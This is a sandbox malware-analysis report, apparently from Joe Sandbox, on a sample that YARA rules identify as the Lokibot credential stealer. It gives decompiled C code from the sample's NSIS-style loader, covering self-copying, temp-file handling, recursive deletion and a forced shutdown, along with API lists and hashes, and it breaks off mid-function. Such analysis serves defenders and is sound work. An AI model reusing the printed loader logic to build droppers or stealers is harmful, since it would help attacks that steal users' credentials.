Stealer, Source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Loki_1, Description: Loki Payload, Source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Loki_1, Description: Loki Payload, Source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: vbc.exePID: 1712, Parent PID: 2984COMMON

Execution Graph

Execution Coverage:	15.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.4%
Total number of Nodes:	1238
Total number of Limit Nodes:	24

Executed Functions

Function 00403225 Relevance: 73.8, APIs: 24, Strings: 18, Instructions: 270
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			_entry_() {
				struct _SHFILEINFOA _v360;
				struct _SECURITY_ATTRIBUTES* _v376;
				char _v380;
				CHAR* _v384;
				char _v392;
				int _v396;
				int _v400;
				signed int _v404;
				CHAR* _v408;
				int _v412;
				struct _SECURITY_ATTRIBUTES* _v416;
				struct _SECURITY_ATTRIBUTES* _v424;
				void* _v432;
				int _t34;
				CHAR* _t39;
				char* _t42;
				signed int _t44;
				void* _t48;
				int _t50;
				signed int _t51;
				signed int _t54;
				int _t55;
				signed int _t59;
				intOrPtr _t70;
				intOrPtr _t76;
				void* _t78;
				void* _t88;
				void* _t90;
				char* _t95;
				signed int _t96;
				void* _t97;
				signed int _t98;
				signed int _t99;
				signed int _t102;
				CHAR* _t104;
				signed int _t105;
				intOrPtr _t112;
				char _t119;

				_v376 = 0;
				_v384 = "Error writing temporary file. Make sure your temp folder is valid.";
				_t98 = 0;
				_v380 = 0x20;
				__imp__#17();
				_t34 = SetErrorMode(0x8001); // executed
				__imp__OleInitialize(0); // executed
				 *0x423f58 = _t34;
				 *0x423ea4 = E00405DA3(8);
				SHGetFileInfoA(0x41f450, 0,  &_v360, 0x160, 0); // executed
				E00405A85("fwwmjbqpxzax Setup", "NSIS Error");
				_t39 = GetCommandLineA();
				_t95 = "\"C:\\Users\\Public\\vbc.exe\" ";
				E00405A85(_t95, _t39);
				 *0x423ea0 = GetModuleHandleA(0);
				_t42 = _t95;
				if("\"C:\\Users\\Public\\vbc.exe\" " == 0x22) {
					_v404 = 0x22;
					_t42 =  &M00429001;
				}
				_t44 = CharNextA(E004055A3(_t42, _v404));
				_v404 = _t44;
				while(1) {
					_t90 =  *_t44;
					_t108 = _t90;
					if(_t90 == 0) {
						break;
					}
					__eflags = _t90 - 0x20;
					if(_t90 != 0x20) {
						L5:
						__eflags =  *_t44 - 0x22;
						_v404 = 0x20;
						if( *_t44 == 0x22) {
							_t44 = _t44 + 1;
							__eflags = _t44;
							_v404 = 0x22;
						}
						__eflags =  *_t44 - 0x2f;
						if( *_t44 != 0x2f) {
							L15:
							_t44 = E004055A3(_t44, _v404);
							__eflags =  *_t44 - 0x22;
							if(__eflags == 0) {
								_t44 = _t44 + 1;
								__eflags = _t44;
							}
							continue;
						} else {
							_t44 = _t44 + 1;
							__eflags =  *_t44 - 0x53;
							if( *_t44 == 0x53) {
								__eflags = ( *(_t44 + 1) | 0x00000020) - 0x20;
								if(( *(_t44 + 1) | 0x00000020) == 0x20) {
									_t98 = _t98 | 0x00000002;
									__eflags = _t98;
								}
							}
							__eflags =  *_t44 - 0x4352434e;
							if( *_t44 == 0x4352434e) {
								__eflags = ( *(_t44 + 4) | 0x00000020) - 0x20;
								if(( *(_t44 + 4) | 0x00000020) == 0x20) {
									_t98 = _t98 | 0x00000004;
									__eflags = _t98;
								}
							}
							__eflags =  *((intOrPtr*)(_t44 - 2)) - 0x3d442f20;
							if( *((intOrPtr*)(_t44 - 2)) == 0x3d442f20) {
								 *((intOrPtr*)(_t44 - 2)) = 0;
								_t45 = _t44 + 2;
								__eflags = _t44 + 2;
								E00405A85("C:\\Users\\Albus\\AppData\\Local\\Temp", _t45);
								L20:
								_t104 = "C:\\Users\\Albus\\AppData\\Local\\Temp\\";
								GetTempPathA(0x400, _t104);
								_t48 = E004031F1(_t108);
								_t109 = _t48;
								if(_t48 != 0) {
									L22:
									DeleteFileA("1033"); // executed
									_t50 = E00402C5B(_t110, _t98); // executed
									_v412 = _t50;
									if(_t50 != 0) {
										L32:
										ExitProcess(); // executed
										__imp__OleUninitialize(); // executed
										if(_v404 == 0) {
											__eflags =  *0x423f34; // 0x0
											if(__eflags != 0) {
												_t105 = E00405DA3(3);
												_t99 = E00405DA3(4);
												_t54 = E00405DA3(5);
												__eflags = _t105;
												_t96 = _t54;
												if(_t105 != 0) {
													__eflags = _t99;
													if(_t99 != 0) {
														__eflags = _t96;
														if(_t96 != 0) {
															_t59 =  *_t105(GetCurrentProcess(), 0x28,  &_v392);
															__eflags = _t59;
															if(_t59 != 0) {
																 *_t99(0, "SeShutdownPrivilege",  &_v396);
																_v412 = 1;
																_v400 = 2;
																 *_t96(_v416, 0,  &_v412, 0, 0, 0);
															}
														}
													}
												}
												_t55 = ExitWindowsEx(2, 0);
												__eflags = _t55;
												if(_t55 == 0) {
													E0040140B(9);
												}
											}
											_t51 =  *0x423f4c; // 0xffffffff
											__eflags = _t51 - 0xffffffff;
											if(_t51 != 0xffffffff) {
												_v396 = _t51;
											}
											ExitProcess(_v396);
										}
										E00405346(_v404, 0x200010);
										ExitProcess(2);
									}
									_t112 =  *0x423ebc; // 0x0
									if(_t112 == 0) {
										L31:
										 *0x423f4c =  *0x423f4c | 0xffffffff;
										_v400 = E004035E3();
										goto L32;
									}
									_t102 = E004055A3(_t95, 0);
									while(_t102 >= _t95) {
										__eflags =  *_t102 - 0x3d3f5f20;
										if(__eflags == 0) {
											break;
										}
										_t102 = _t102 - 1;
										__eflags = _t102;
									}
									_t114 = _t102 - _t95;
									_v408 = "Error launching installer";
									if(_t102 < _t95) {
										lstrcatA(_t104, "~nsu.tmp");
										_t100 = "C:\\Users\\Public";
										if(lstrcmpiA(_t104, "C:\\Users\\Public") == 0) {
											goto L32;
										}
										CreateDirectoryA(_t104, 0);
										SetCurrentDirectoryA(_t104);
										_t119 = "C:\\Users\\Albus\\AppData\\Local\\Temp"; // 0x43
										if(_t119 == 0) {
											E00405A85("C:\\Users\\Albus\\AppData\\Local\\Temp", _t100);
										}
										E00405A85(0x424000, _v396);
										 *0x424400 = 0x41;
										_t97 = 0x1a;
										do {
											_t70 =  *0x423eb0; // 0x8c0fa0
											E00405AA7(0, _t97, 0x41f050, 0x41f050,  *((intOrPtr*)(_t70 + 0x120)));
											DeleteFileA(0x41f050);
											if(_v416 != 0 && CopyFileA("C:\\Users\\Public\\vbc.exe", 0x41f050, 1) != 0) {
												_push(0);
												_push(0x41f050);
												E004057D3();
												_t76 =  *0x423eb0; // 0x8c0fa0
												E00405AA7(0, _t97, 0x41f050, 0x41f050,  *((intOrPtr*)(_t76 + 0x124)));
												_t78 = E004052E5(0x41f050);
												if(_t78 != 0) {
													CloseHandle(_t78);
													_v416 = 0;
												}
											}
											 *0x424400 =  *0x424400 + 1;
											_t97 = _t97 - 1;
										} while (_t97 != 0);
										_push(0);
										_push(_t104);
										E004057D3();
										goto L32;
									}
									 *_t102 = 0;
									_t103 = _t102 + 4;
									if(E00405659(_t114, _t102 + 4) == 0) {
										goto L32;
									}
									E00405A85("C:\\Users\\Albus\\AppData\\Local\\Temp", _t103);
									E00405A85("C:\\Users\\Albus\\AppData\\Local\\Temp", _t103);
									_v424 = 0;
									goto L31;
								}
								GetWindowsDirectoryA(_t104, 0x3fb);
								lstrcatA(_t104, "\\Temp");
								_t88 = E004031F1(_t109);
								_t110 = _t88;
								if(_t88 == 0) {
									goto L32;
								}
								goto L22;
							}
							goto L15;
						}
					} else {
						goto L4;
					}
					do {
						L4:
						_t44 = _t44 + 1;
						__eflags =  *_t44 - 0x20;
					} while ( *_t44 == 0x20);
					goto L5;
				}
				goto L20;
			}

0x00403231
0x00403235
0x0040323d
0x0040323f
0x00403244
0x0040324f
0x00403256
0x0040325e
0x00403268
0x0040327e
0x0040328e
0x00403293
0x00403299
0x004032a0
0x004032b3
0x004032b8
0x004032ba
0x004032bc
0x004032c1
0x004032c1
0x004032d1
0x004032d7
0x00403340
0x00403340
0x00403342
0x00403344
0x00000000
0x00000000
0x004032dd
0x004032e0
0x004032e8
0x004032e8
0x004032eb
0x004032f0
0x004032f2
0x004032f2
0x004032f3
0x004032f3
0x004032f8
0x004032fb
0x00403330
0x00403335
0x0040333a
0x0040333d
0x0040333f
0x0040333f
0x0040333f
0x00000000
0x004032fd
0x004032fd
0x004032fe
0x00403301
0x00403309
0x0040330c
0x0040330e
0x0040330e
0x0040330e
0x0040330c
0x00403311
0x00403317
0x0040331f
0x00403322
0x00403324
0x00403324
0x00403324
0x00403322
0x00403327
0x0040332e
0x00403348
0x0040334b
0x0040334b
0x00403354
0x00403359
0x00403359
0x00403364
0x0040336a
0x0040336f
0x00403371
0x00403393
0x00403398
0x0040339f
0x004033a6
0x004033aa
0x00403411
0x00403411
0x00403416
0x00403420
0x0040350b
0x00403511
0x0040351c
0x00403525
0x00403527
0x0040352c
0x0040352e
0x00403530
0x00403532
0x00403534
0x00403536
0x00403538
0x00403548
0x0040354a
0x0040354c
0x00403559
0x00403568
0x00403570
0x00403578
0x00403578
0x0040354c
0x00403538
0x00403534
0x0040357d
0x00403583
0x00403585
0x00403589
0x00403589
0x00403585
0x0040358e
0x00403593
0x00403596
0x00403598
0x00403598
0x004035a0
0x004035a0
0x0040342f
0x00403436
0x00403436
0x004033ac
0x004033b2
0x00403401
0x00403401
0x0040340d
0x00000000
0x0040340d
0x004033bb
0x004033c8
0x004033bf
0x004033c5
0x00000000
0x00000000
0x004033c7
0x004033c7
0x004033c7
0x004033cc
0x004033ce
0x004033d6
0x00403442
0x00403447
0x00403456
0x00000000
0x00000000
0x0040345a
0x00403461
0x00403467
0x0040346d
0x00403475
0x00403475
0x00403483
0x0040348a
0x00403493
0x00403499
0x00403499
0x004034a5
0x004034ab
0x004034b5
0x004034c9
0x004034ca
0x004034cb
0x004034d0
0x004034dc
0x004034e2
0x004034e9
0x004034ec
0x004034f2
0x004034f2
0x004034e9
0x004034f6
0x004034fc
0x004034fc
0x004034ff
0x00403500
0x00403501
0x00000000
0x00403501
0x004033d8
0x004033da
0x004033e5
0x00000000
0x00000000
0x004033ed
0x004033f8
0x004033fd
0x00000000
0x004033fd
0x00403379
0x00403385
0x0040338a
0x0040338f
0x00403391
0x00000000
0x00000000
0x00000000
0x00403391
0x00000000
0x0040332e
0x00000000
0x00000000
0x00000000
0x004032e2
0x004032e2
0x004032e2
0x004032e3
0x004032e3
0x00000000
0x004032e2
0x00000000

APIs

#17.COMCTL32 ref: 00403244
SetErrorMode.KERNELBASE(00008001), ref: 0040324F
OleInitialize.OLE32(00000000), ref: 00403256

Part of subcall function 00405DA3: GetModuleHandleA.KERNEL32(?,?,00000000,00403268,00000008), ref: 00405DB5
Part of subcall function 00405DA3: LoadLibraryA.KERNEL32(?), ref: 00405DC0
Part of subcall function 00405DA3: GetProcAddress.KERNEL32(00000000,?,?,00000000,00403268,00000008), ref: 00405DD1

SHGetFileInfoA.SHELL32(0041F450,00000000,?,00000160,00000000,00000008), ref: 0040327E

Part of subcall function 00405A85: lstrcpynA.KERNEL32(?,?,00000400,00403293,fwwmjbqpxzax Setup,NSIS Error), ref: 00405A92

GetCommandLineA.KERNEL32(fwwmjbqpxzax Setup,NSIS Error), ref: 00403293
GetModuleHandleA.KERNEL32(00000000,"C:\Users\Public\vbc.exe" ,00000000), ref: 004032A6
CharNextA.USER32(00000000), ref: 004032D1
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 00403364
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403379
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403385
DeleteFileA.KERNELBASE(1033), ref: 00403398
ExitProcess.KERNELBASE(00000000), ref: 00403411
OleUninitialize.OLE32 ref: 00403416
ExitProcess.KERNEL32 ref: 00403436
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\Public\vbc.exe" ,00000000,00000000), ref: 00403442
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\Public,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\Public\vbc.exe" ,00000000,00000000), ref: 0040344E
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040345A
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403461
DeleteFileA.KERNEL32(0041F050,0041F050,?,00424000,?), ref: 004034AB
CopyFileA.KERNEL32 ref: 004034BF
CloseHandle.KERNEL32(00000000), ref: 004034EC
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 00403541
ExitWindowsEx.USER32(00000002,00000000), ref: 0040357D
ExitProcess.KERNEL32 ref: 004035A0

Strings

1033, xrefs: 00403393
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403235
\Temp, xrefs: 0040337F
/D=, xrefs: 00403327
NSIS Error, xrefs: 00403284
fwwmjbqpxzax Setup, xrefs: 00403289
C:\Users\Public, xrefs: 00403447, 0040344C, 0040346F
C:\Users\Public\vbc.exe, xrefs: 004034BA
SeShutdownPrivilege, xrefs: 00403553
"C:\Users\Public\vbc.exe" , xrefs: 00403299, 0040329F, 004033B5
C:\Users\user\AppData\Local\Temp, xrefs: 004033F3
~nsu.tmp, xrefs: 0040343C
C:\Users\user\AppData\Local\Temp, xrefs: 0040334F, 004033E8, 00403467, 00403470
C:\Users\user\AppData\Local\Temp\, xrefs: 00403359, 0040335E, 00403378, 00403384, 00403441, 0040344D, 00403459, 00403460, 00403500
", xrefs: 004032F3
Error launching installer, xrefs: 004033CE
NCRC, xrefs: 00403311
_?=, xrefs: 004033BF

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ExitFileProcess$DirectoryHandle$CurrentDeleteModuleWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$"$"C:\Users\Public\vbc.exe" $1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\Public$C:\Users\Public\vbc.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$fwwmjbqpxzax Setup$~nsu.tmp
API String ID: 553446912-226143577
Opcode ID: d6bb6c7e58a1b69234bdd49ec568d23efec17356feddecacbd66420c64787950
Instruction ID: b5e3cabad0cbadbc416d8838d891dc98190303aa4ff7e7c7b73425e0a697763a
Opcode Fuzzy Hash: d6bb6c7e58a1b69234bdd49ec568d23efec17356feddecacbd66420c64787950
Instruction Fuzzy Hash: FF91C170A08351BED7216F619C89B2B7EACAB44306F04457BF941B62D2C77C9E058B6E

Uniqueness

Uniqueness Score: -1.00%

Function 004053AA Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 156
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E004053AA(void* __ebx, void* __eflags, void* _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				struct _WIN32_FIND_DATAA _v332;
				signed int _t37;
				char* _t49;
				signed int _t52;
				signed int _t55;
				signed int _t61;
				signed int _t63;
				void* _t65;
				signed int _t68;
				CHAR* _t70;
				CHAR* _t72;
				char* _t75;

				_t72 = _a4;
				_t37 = E00405659(__eflags, _t72);
				_v12 = _t37;
				if((_a8 & 0x00000008) != 0) {
					_t63 = DeleteFileA(_t72); // executed
					asm("sbb eax, eax");
					_t65 =  ~_t63 + 1;
					 *0x423f28 =  *0x423f28 + _t65;
					return _t65;
				}
				_t68 = _a8 & 0x00000001;
				__eflags = _t68;
				_v8 = _t68;
				if(_t68 == 0) {
					L5:
					E00405A85(0x4214a0, _t72);
					__eflags = _t68;
					if(_t68 == 0) {
						E004055BF(_t72);
					} else {
						lstrcatA(0x4214a0, "\*.*");
					}
					__eflags =  *_t72;
					if( *_t72 != 0) {
						L10:
						lstrcatA(_t72, 0x40900c);
						L11:
						_t70 =  &(_t72[lstrlenA(_t72)]); // executed
						_t37 = FindFirstFileA(0x4214a0,  &_v332); // executed
						__eflags = _t37 - 0xffffffff;
						_a4 = _t37;
						if(_t37 == 0xffffffff) {
							L29:
							__eflags = _v8;
							if(_v8 != 0) {
								_t31 = _t70 - 1;
								 *_t31 =  *(_t70 - 1) & 0x00000000;
								__eflags =  *_t31;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t75 =  &(_v332.cFileName);
							_t49 = E004055A3( &(_v332.cFileName), 0x3f);
							__eflags =  *_t49;
							if( *_t49 != 0) {
								__eflags = _v332.cAlternateFileName;
								if(_v332.cAlternateFileName != 0) {
									_t75 =  &(_v332.cAlternateFileName);
								}
							}
							__eflags =  *_t75 - 0x2e;
							if( *_t75 != 0x2e) {
								L19:
								E00405A85(_t70, _t75);
								__eflags = _v332.dwFileAttributes & 0x00000010;
								if((_v332.dwFileAttributes & 0x00000010) == 0) {
									E0040573D(_t72);
									_t52 = DeleteFileA(_t72);
									__eflags = _t52;
									if(_t52 != 0) {
										E00404E23(0xfffffff2, _t72);
									} else {
										__eflags = _a8 & 0x00000004;
										if((_a8 & 0x00000004) == 0) {
											 *0x423f28 =  *0x423f28 + 1;
										} else {
											E00404E23(0xfffffff1, _t72);
											_push(0);
											_push(_t72);
											E004057D3();
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E004053AA(_t70, __eflags, _t72, _a8);
									}
								}
								goto L27;
							}
							_t61 =  *((intOrPtr*)(_t75 + 1));
							__eflags = _t61;
							if(_t61 == 0) {
								goto L27;
							}
							__eflags = _t61 - 0x2e;
							if(_t61 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t75 + 2));
							if( *((char*)(_t75 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t55 = FindNextFileA(_a4,  &_v332); // executed
							__eflags = _t55;
						} while (_t55 != 0);
						_t37 = FindClose(_a4); // executed
						goto L29;
					}
					__eflags =  *0x4214a0 - 0x5c;
					if( *0x4214a0 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t37;
					if(_t37 == 0) {
						L31:
						__eflags = _v8;
						if(_v8 == 0) {
							L39:
							return _t37;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t37 = E00405D7C(_t72);
							__eflags = _t37;
							if(_t37 == 0) {
								goto L39;
							}
							E00405578(_t72);
							E0040573D(_t72);
							_t37 = RemoveDirectoryA(_t72); // executed
							__eflags = _t37;
							if(_t37 != 0) {
								return E00404E23(0xffffffe5, _t72);
							}
							__eflags = _a8 & 0x00000004;
							if((_a8 & 0x00000004) == 0) {
								goto L33;
							}
							E00404E23(0xfffffff1, _t72);
							_push(0);
							_push(_t72);
							return E004057D3();
						}
						L33:
						 *0x423f28 =  *0x423f28 + 1;
						return _t37;
					}
					__eflags = _a8 & 0x00000002;
					if((_a8 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}

0x004053b5
0x004053b9
0x004053c2
0x004053c5
0x004053c8
0x004053d0
0x004053d2
0x004053d3
0x00000000
0x004053d3
0x004053e2
0x004053e2
0x004053e5
0x004053e8
0x004053fc
0x00405403
0x00405408
0x0040540a
0x0040541a
0x0040540c
0x00405412
0x00405412
0x0040541f
0x00405422
0x0040542d
0x00405433
0x00405438
0x00405448
0x0040544a
0x00405450
0x00405453
0x00405456
0x00405513
0x00405513
0x00405517
0x00405519
0x00405519
0x00405519
0x00405519
0x00000000
0x00000000
0x00000000
0x00000000
0x0040545c
0x0040545c
0x00405465
0x0040546b
0x00405470
0x00405473
0x00405475
0x00405479
0x0040547b
0x0040547b
0x00405479
0x0040547e
0x00405481
0x00405494
0x00405496
0x0040549b
0x004054a2
0x004054ba
0x004054c0
0x004054c6
0x004054c8
0x004054ed
0x004054ca
0x004054ca
0x004054ce
0x004054e2
0x004054d0
0x004054d3
0x004054d8
0x004054da
0x004054db
0x004054db
0x004054ce
0x004054a4
0x004054aa
0x004054ac
0x004054b2
0x004054b2
0x004054ac
0x00000000
0x004054a2
0x00405483
0x00405486
0x00405488
0x00000000
0x00000000
0x0040548a
0x0040548c
0x00000000
0x00000000
0x0040548e
0x00405492
0x00000000
0x00000000
0x00000000
0x004054f2
0x004054fc
0x00405502
0x00405502
0x0040550d
0x00000000
0x0040550d
0x00405424
0x0040542b
0x00000000
0x00000000
0x00000000
0x004053ea
0x004053ea
0x004053ec
0x0040551d
0x00405520
0x00405523
0x00405575
0x00405575
0x00405575
0x00405525
0x00405528
0x00405533
0x00405538
0x0040553a
0x00000000
0x00000000
0x0040553d
0x00405543
0x00405549
0x0040554f
0x00405551
0x00000000
0x0040556d
0x00405553
0x00405557
0x00000000
0x00000000
0x0040555c
0x00405561
0x00405562
0x00000000
0x00405563
0x0040552a
0x0040552a
0x00000000
0x0040552a
0x004053f2
0x004053f6
0x00000000
0x00000000
0x00000000
0x004053f6

APIs

DeleteFileA.KERNELBASE(?,?,"C:\Users\Public\vbc.exe" ,74EC13E0), ref: 004053C8
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsf9C33.tmp\*.*,\*.*,C:\Users\user\AppData\Local\Temp\nsf9C33.tmp\*.*,?,00000000,?,"C:\Users\Public\vbc.exe" ,74EC13E0), ref: 00405412
lstrcatA.KERNEL32(?,0040900C,?,C:\Users\user\AppData\Local\Temp\nsf9C33.tmp\*.*,?,00000000,?,"C:\Users\Public\vbc.exe" ,74EC13E0), ref: 00405433
lstrlenA.KERNEL32(?,?,0040900C,?,C:\Users\user\AppData\Local\Temp\nsf9C33.tmp\*.*,?,00000000,?,"C:\Users\Public\vbc.exe" ,74EC13E0), ref: 00405439
FindFirstFileA.KERNELBASE(C:\Users\user\AppData\Local\Temp\nsf9C33.tmp\*.*,?,?,?,0040900C,?,C:\Users\user\AppData\Local\Temp\nsf9C33.tmp\*.*,?,00000000,?,"C:\Users\Public\vbc.exe" ,74EC13E0), ref: 0040544A
FindNextFileA.KERNELBASE(?,00000010,000000F2,?), ref: 004054FC
FindClose.KERNELBASE(?), ref: 0040550D

Strings

C:\Users\user\AppData\Local\Temp\nsf9C33.tmp\*.*, xrefs: 004053FC, 00405402, 00405411, 00405447
C:\Users\user\AppData\Local\Temp\, xrefs: 004053AA
\*.*, xrefs: 0040540C
"C:\Users\Public\vbc.exe" , xrefs: 004053B4

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\Public\vbc.exe" $C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsf9C33.tmp\*.*$\*.*
API String ID: 2035342205-1934335244
Opcode ID: 34c5472e85b81fd0ed43d064308d21e1862e95328fe31b5b9fae2b1a48a1451a
Instruction ID: 0322a8429cd808b8a7b2d486838befd4e4df4ca31dedcf7a9ac14dfd5c4716bd
Opcode Fuzzy Hash: 34c5472e85b81fd0ed43d064308d21e1862e95328fe31b5b9fae2b1a48a1451a
Instruction Fuzzy Hash: 2851CE30904A58BACB21AB219C85BFF3A78DF42719F14817BF901751D2CB7C4982DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405D7C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405D7C(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x4224e8); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x4224e8;
			}

0x00405d87
0x00405d90
0x00000000
0x00405d9d
0x00405d93
0x00000000

APIs

FindFirstFileA.KERNELBASE(?,004224E8,C:\,0040569C,C:\,C:\,00000000,C:\,C:\,?,?,74EC13E0,004053BE,?,"C:\Users\Public\vbc.exe" ,74EC13E0), ref: 00405D87
FindClose.KERNEL32(00000000), ref: 00405D93

Strings

$B, xrefs: 00405D7D
C:\, xrefs: 00405D7C

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\$$B
API String ID: 2295610775-645530273
Opcode ID: faf9a5a1b02af36eb702065ba3c0ed1dca863e262e1f5f2ed0a66c6ec2a69bc9
Instruction ID: 8877f450b99b184e504413f9ffa66f4d164bf9bd4a7d07bd52ad5b53af664480
Opcode Fuzzy Hash: faf9a5a1b02af36eb702065ba3c0ed1dca863e262e1f5f2ed0a66c6ec2a69bc9
Instruction Fuzzy Hash: 84D012319595306BC75127386D0C84B7A59DF15331750CA33F02AF22F0D3748C518AAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040604C Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E0040604C() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

